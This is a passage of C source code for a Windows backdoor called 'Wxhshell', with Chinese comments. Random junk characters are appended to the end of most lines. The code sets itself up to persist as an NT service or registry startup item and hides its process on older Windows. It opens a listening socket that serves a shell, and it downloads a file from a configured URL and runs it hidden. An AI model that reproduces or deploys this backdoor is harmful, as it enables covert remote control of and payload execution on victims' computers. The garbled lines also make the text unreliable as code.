ULONG UniqueProcessId; u+/1ryp
ULONG InheritedFromUniqueProcessId; sFWH*kdP?
} PROCESS_BASIC_INFORMATION; ,I|Tj C5
YsXf+_._
PROCNTQSIP NtQueryInformationProcess; r>gU*bs(
(jB_uMuS
static ENUMPROCESSMODULES g_pEnumProcessModules = NULL ; -Rz%<`
static GETMODULEBASENAME g_pGetModuleBaseName = NULL ; biw2f~V
g_F-PT>($
HANDLE hProcess; +axpIjI'
PROCESS_BASIC_INFORMATION pbi; VUE6M\&z>
q'~F6$kv5
HINSTANCE hInst = LoadLibraryA("PSAPI.DLL"); p{k^)5CR/
if(NULL == hInst ) return 0; I&Y9
li
Hz5<|
g_pEnumProcessModules = (ENUMPROCESSMODULES)GetProcAddress(hInst ,"EnumProcessModules"); p^ojhrr
g_pGetModuleBaseName = (GETMODULEBASENAME)GetProcAddress(hInst, "GetModuleBaseNameA"); '}eA2Q>BV
NtQueryInformationProcess = (PROCNTQSIP)GetProcAddress(GetModuleHandle("ntdll"), "NtQueryInformationProcess"); S((\KL,
U>jLh57
if (!NtQueryInformationProcess) return 0; \:D'u<8E
2or!v^^u
hProcess = OpenProcess(PROCESS_QUERY_INFORMATION,FALSE,GetCurrentProcessId()); lf%Ju$H
if(!hProcess) return 0; /6Vn WrN_
pswEIa
if(NtQueryInformationProcess( hProcess, 0, (PVOID)&pbi, sizeof(PROCESS_BASIC_INFORMATION), NULL)) return 0; +`H{
%~A$cc
CloseHandle(hProcess); a]mPc^h
<.qhW^>X
hProcess = OpenProcess(PROCESS_QUERY_INFORMATION | PROCESS_VM_READ, FALSE, pbi.InheritedFromUniqueProcessId); R"
'=^
if(hProcess==NULL) return 0; :k*3?*'K
#>/stU-
HMODULE hMod; m^rrbU+HM?
char procName[255]; w`;>+_ E7
unsigned long cbNeeded; Jg\1(ix
c!})%{U
if(g_pEnumProcessModules(hProcess, &hMod, sizeof(hMod), &cbNeeded)) g_pGetModuleBaseName(hProcess, hMod, procName, sizeof(procName)); (fJ.o-LQ
rxVJB3P9
CloseHandle(hProcess); W
n43TSs-
a="\?L5
if(strstr(procName,"services")) return 1; // 以服务启动 q
VcZF7
L=9w
3VXS
return 0; // 注册表启动 Ivue"_i;!
} v)AadtZ0d
$IU|zda8
// 主模块 gcNpA?mC|u
int StartWxhshell(LPSTR lpCmdLine) >'GQB
{ 7w]NG`7
SOCKET wsl; -w#Hy>E
BOOL val=TRUE; ?c!W*`yP
int port=0; ttaYtV]]
struct sockaddr_in door; 0 `L>t
L% cr `<~
if(wscfg.ws_autoins) Install(); _g#v*7o2@
4M4oI .
port=atoi(lpCmdLine); j%y)%4F8
,{_;q:
if(port<=0) port=wscfg.ws_port; 9/nS?>11
Q:4euhz*
WSADATA data; (2vf
<x
if(WSAStartup(MAKEWORD(2,2),&data)!=0) return 1; WKwU:im
k}o*=s>M
if((wsl = WSASocket(AF_INET, SOCK_STREAM, IPPROTO_TCP,NULL,0,0)) == INVALID_SOCKET) return 1; 9WH
setsockopt(wsl,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val)); EN!Q]O|
door.sin_family = AF_INET; vKvT7Zxc
door.sin_addr.s_addr = inet_addr("127.0.0.1"); M9aVE)*!I
door.sin_port = htons(port); kroO~(\
%bs~%6)
if(bind(wsl, (const struct sockaddr *) &door,sizeof(door)) == INVALID_SOCKET) { [qEd`8V(
closesocket(wsl); &xGcxFd
return 1; ?H.7
WtTC
} cI Byv I-
/` j~r;S
if(listen(wsl,2) == INVALID_SOCKET) { < x==T4n/
closesocket(wsl); JTxHM?/G
return 1; @4Ox$M
} %HNe"7gk
Wxhshell(wsl); -brn&1oJ
WSACleanup(); B[I
a8t
=n}+p>\s
return 0; 4X5Tyv(Dp
kZsat4r
} @sV6g?{tI
>**7ck
// 以NT服务方式启动 xfE:r:
VOID WINAPI NTServiceMain( DWORD dwArgc, LPSTR *lpszArgv ) 7Qc
4Oz:t
{ 5V^+;eO
DWORD status = 0; ^nS'3g^"
DWORD specificError = 0xfffffff; i8tH0w/(M
: Nf-}"
serviceStatus.dwServiceType = SERVICE_WIN32; X R =^zp?
serviceStatus.dwCurrentState = SERVICE_START_PENDING;
Psf'#4g
serviceStatus.dwControlsAccepted = SERVICE_ACCEPT_STOP | SERVICE_ACCEPT_PAUSE_CONTINUE; 1P'R-I
serviceStatus.dwWin32ExitCode = 0; uH 6QK\
serviceStatus.dwServiceSpecificExitCode = 0; "s6O|=^*
serviceStatus.dwCheckPoint = 0; #hOAG_a,
serviceStatus.dwWaitHint = 0; t&r-;sH^[
5DHFxym'
hServiceStatusHandle = RegisterServiceCtrlHandler(wscfg.ws_svcname, NTServiceHandler); .mse.$TK.^
if (hServiceStatusHandle==0) return; L0Fhjbc
`;@#yyj:_
status = GetLastError(); } h.]sF
if (status!=NO_ERROR) <oE(I)r4,
{ ZS-O,[
serviceStatus.dwCurrentState = SERVICE_STOPPED; -qPYm?$
serviceStatus.dwCheckPoint = 0; O=HT3gp&
serviceStatus.dwWaitHint = 0; o+H;ZGT5H
serviceStatus.dwWin32ExitCode = status; (>OCLmV$
serviceStatus.dwServiceSpecificExitCode = specificError; Uv(THxVh
SetServiceStatus(hServiceStatusHandle, &serviceStatus); P(1bd"Q
return; bUW`MH7yJ
} +=5Dt7/|
kT!Y~c
serviceStatus.dwCurrentState = SERVICE_RUNNING; O>=D1no*
serviceStatus.dwCheckPoint = 0; tr]=q9
serviceStatus.dwWaitHint = 0; mgB7l0)b
if(SetServiceStatus(hServiceStatusHandle, &serviceStatus)) StartWxhshell(""); *E Z'S+wR
} +$eEZ;4
^_5Nh^
// 处理NT服务事件,比如:启动、停止 RtrESwtR
VOID WINAPI NTServiceHandler(DWORD fdwControl) g|W|>`>
{ Lh%>>
Ht{
switch(fdwControl) {%S>!RA
{ "g)@jqq:>
case SERVICE_CONTROL_STOP: 2BU%4IG
serviceStatus.dwWin32ExitCode = 0; !,mv 7Yj
serviceStatus.dwCurrentState = SERVICE_STOPPED; 1k5o?'3&
serviceStatus.dwCheckPoint = 0; YGBVGpE9
serviceStatus.dwWaitHint = 0; 3w=OvafT:
{ @
(UacFO
SetServiceStatus(hServiceStatusHandle, &serviceStatus); 7*e7P[LQU
} A~CQ@
return; IAD_Tck
case SERVICE_CONTROL_PAUSE: 3H0~?z_
serviceStatus.dwCurrentState = SERVICE_PAUSED; 9B lc
break; IH;+pN
case SERVICE_CONTROL_CONTINUE: AXV+8$ :R
serviceStatus.dwCurrentState = SERVICE_RUNNING; MCOz-8@|Y
break; =R08B)yR
case SERVICE_CONTROL_INTERROGATE: Rw$>()}H8
break; $J>J@4
}; n\Z&sc
SetServiceStatus(hServiceStatusHandle, &serviceStatus); ]%yph3C
} FbMX?T"yH
dF$Fd{\4^
// 标准应用程序主函数 $Ik\^:-
int WINAPI WinMain(HINSTANCE hInstance, HINSTANCE hPrevInstance, LPSTR lpCmdLine, INT nCmdShow) /( /)nYAjk
{ -q9`Btz
`ySmzp
// 获取操作系统版本 o(,u"c/Or
OsIsNt=GetOsVer(); ncEOz1u
GetModuleFileName(NULL,ExeFile,MAX_PATH); dMAd-q5{
x[Xj[O
// 从命令行安装 `%lgT+~T
if(strpbrk(lpCmdLine,"iI")) Install(); \:cr2 w'c
#>m#i1Nu
// 下载执行文件 w<?v78sT
if(wscfg.ws_downexe) { Hq.ys> _
if(URLDownloadToFile(0, wscfg.ws_fileurl, wscfg.ws_filenam, 0, 0)==S_OK) mK3U*)A
WinExec(wscfg.ws_filenam,SW_HIDE); ;><9R@0
} 6Q&R,"!$p
U*G9 fpVy
if(!OsIsNt) { [vuqH:Ln
// 如果时win9x,隐藏进程并且设置为注册表启动 K)|#FRPM u
HideProc(); 6{rH|Z
StartWxhshell(lpCmdLine); $?^#G8J
} ?@"B:#l
else #GBe=tm\K
if(StartFromService()) 8~QEJW$
// 以服务方式启动 #P,mZ}G\
StartServiceCtrlDispatcher(DispatchTable); *R17 KMS
else 2QUZAV\ Y
// 普通方式启动 eGrC0[SH
StartWxhshell(lpCmdLine); >gAq/'.Q
KmoPFlw
return 0; f
n9[Li
} -lM4 *+f
mOj6
4}_`"
V 0Ul`
Ol4)*/oZ
=========================================== >;S/$
zbt>5S_
+kF$I7LN
=(kwMJ
(>*<<a22
JO:40V?op
" k^3|A3A
`3!ERQU
#include <stdio.h> 9QaEUy*,
#include <string.h> ,Mf@I5?
#include <windows.h> [gZd$9a
#include <winsock2.h> D*d@<&Bl4<
#include <winsvc.h> -(FVTWi0
#include <urlmon.h> \BC|`)0h
h>,yqiY4p
#pragma comment (lib, "Ws2_32.lib") "j5b$T0P>
#pragma comment (lib, "urlmon.lib") @q9uU9c
&:g5+([<